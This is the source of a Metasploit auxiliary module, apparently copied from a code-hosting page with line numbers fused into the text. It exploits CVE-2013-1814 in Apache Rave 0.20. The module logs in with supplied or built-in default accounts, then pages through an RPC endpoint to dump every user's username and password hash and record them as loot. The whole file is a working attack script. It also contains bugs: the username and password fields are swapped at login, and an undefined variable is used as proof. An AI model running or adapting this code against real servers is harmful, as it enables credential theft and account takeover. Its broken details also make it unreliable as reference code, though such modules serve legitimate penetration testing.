Path: blob/master/modules/auxiliary/gather/apache_rave_creds.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Apache Rave User Information Disclosure',14'Description' => %q{15This module exploits an information disclosure in Apache Rave 0.20 and prior. The16vulnerability exists in the RPC API, which allows any authenticated user to17disclose information about all the users, including their password hashes. In order18to authenticate, the user can provide his own credentials. Also the default users19installed with Apache Rave 0.20 will be tried automatically. This module has been20successfully tested on Apache Rave 0.20.21},22'License' => MSF_LICENSE,23'Author' => [24'Andreas Guth', # Vulnerability discovery and PoC25'juan vazquez' # Metasploit module26],27'References' => [28[ 'CVE', '2013-1814' ],29[ 'OSVDB', '91235' ],30[ 'BID', '58455' ],31[ 'EDB', '24744']32],33'Notes' => {34'Reliability' => UNKNOWN_RELIABILITY,35'Stability' => UNKNOWN_STABILITY,36'SideEffects' => UNKNOWN_SIDE_EFFECTS37}38)39)4041register_options(42[43Opt::RPORT(8080),44OptString.new('TARGETURI', [true, 'Path to Apache Rave Portal', '/portal']),45OptString.new('USERNAME', [ false, 'Apache Rave Username' ]),46OptString.new('PASSWORD', [ false, 'Apache Rave Password' ]),47]48)49end5051def post_auth?52true53end5455def login(username, password)56uri = normalize_uri(target_uri.to_s, "j_spring_security_check")5758res = send_request_cgi({59'uri' => uri,60'method' => 'POST',61'vars_post' => {62'j_password' => username,63'j_username' => password64}65})6667if res and res.code == 302 and res.headers['Location'] !~ /authfail/ and res.get_cookies =~ /JSESSIONID=(.*);/68return $169else70return nil71end72end7374def disclose(cookie, offset)75uri = normalize_uri(target_uri.to_s, "app", "api", "rpc", "users", "get")7677res = send_request_cgi({78'uri' => uri,79'method' => 'GET',80'vars_get' => {81'offset' => "#{offset}"82},83'cookie' => "JSESSIONID=#{cookie}"84})8586if res and res.code == 200 and res.headers['Content-Type'] =~ /application\/json/ and res.body =~ /resultSet/87return res.body88else89return nil90end91end9293def setup94# Default accounts installed and enabled on Apache Rave 0.2095@default_accounts = {96"canonical" => "canonical",97"john.doe" => "john.doe",98"jane.doe" => "jane.doe",99"johnldap" => "johnldap",100"four.col" => "four.col",101"fourwn.col" => "fourwn.col",102"george.doe" => "george.doe",103"maija.m" => "maija.m",104"mario.rossi" => "mario.rossi",105"one.col" => "one.col",106"three.col" => "three.col",107"threewn.col" => "threewn.col",108"twown.col" => "twown.col"109}110end111112def report_cred(opts)113service_data = {114address: opts[:ip],115port: opts[:port],116service_name: opts[:service_name],117protocol: 'tcp',118workspace_id: myworkspace_id119}120121credential_data = {122origin_type: :service,123module_fullname: fullname,124username: opts[:user],125private_data: opts[:password],126private_type: :password127}.merge(service_data)128129login_data = {130core: create_credential(credential_data),131status: Metasploit::Model::Login::Status::UNTRIED,132proof: opts[:proof]133}.merge(service_data)134135create_credential_login(login_data)136end137138def run139print_status("#{rhost}:#{rport} - Fingerprinting...")140res = send_request_cgi({141'uri' => normalize_uri(target_uri.to_s, "login"),142'method' => 'GET',143})144145if not res146print_error("#{rhost}:#{rport} - No response, aborting...")147return148elsif res.code == 200 and res.body =~ /<span>Apache Rave ([0-9\.]*)<\/span>/149version = $1150if version <= "0.20"151print_good("#{rhost}:#{rport} - Apache Rave #{version} found. Vulnerable. Proceeding...")152else153print_error("#{rhost}:#{rport} - Apache Rave #{version} found. Not vulnerable. Aborting...")154return155end156else157print_warning("#{rhost}:#{rport} - Apache Rave Portal not found, trying to log-in anyway...")158end159160cookie = nil161unless datastore["USERNAME"].empty? or datastore["PASSWORD"].empty?162print_status("#{rhost}:#{rport} - Login with the provided credentials...")163cookie = login(datastore["USERNAME"], datastore["PASSWORD"])164if cookie.nil?165print_error("#{rhost}:#{rport} - Login failed")166else167print_good("#{rhost}:#{rport} - Login Successful. Proceeding...")168end169end170171if cookie.nil?172print_status("#{rhost}:#{rport} - Login with default accounts...")173@default_accounts.each { |user, password|174print_status("#{rhost}:#{rport} - Login with the #{user} default account...")175cookie = login(user, password)176unless cookie.nil?177print_good("#{rhost}:#{rport} - Login Successful. Proceeding...")178break179end180}181end182183if cookie.nil?184print_error("#{rhost}:#{rport} - Login failed. Aborting...")185return186end187188print_status("#{rhost}:#{rport} - Disclosing information...")189offset = 0190search = true191192while search193print_status("#{rhost}:#{rport} - Disclosing offset #{offset}...")194users_data = disclose(cookie, offset)195if users_data.nil?196print_error("#{rhost}:#{rport} - Disclosure failed. Aborting...")197return198else199print_good("#{rhost}:#{rport} - Disclosure successful")200end201202json_info = JSON.parse(users_data)203204path = store_loot(205'apache.rave.users',206'application/json',207rhost,208users_data,209nil,210"Apache Rave Users Database Offset #{offset}"211)212print_status("#{rhost}:#{rport} - Information for offset #{offset} saved in: #{path}")213214print_status("#{rhost}:#{rport} - Recovering Hashes...")215json_info["result"]["resultSet"].each { |result|216print_good("#{rhost}:#{rport} - Found cred: #{result["username"]}:#{result["password"]}")217report_cred(218ip: rhost,219port: rport,220service_name: 'Apache Rave',221user: result["username"],222password: result["password"],223proof: user_data224)225}226227page = json_info["result"]["currentPage"]228total_pages = json_info["result"]["numberOfPages"]229offset = offset + json_info["result"]["pageSize"]230if page == total_pages231search = false232end233234end235end236end237238239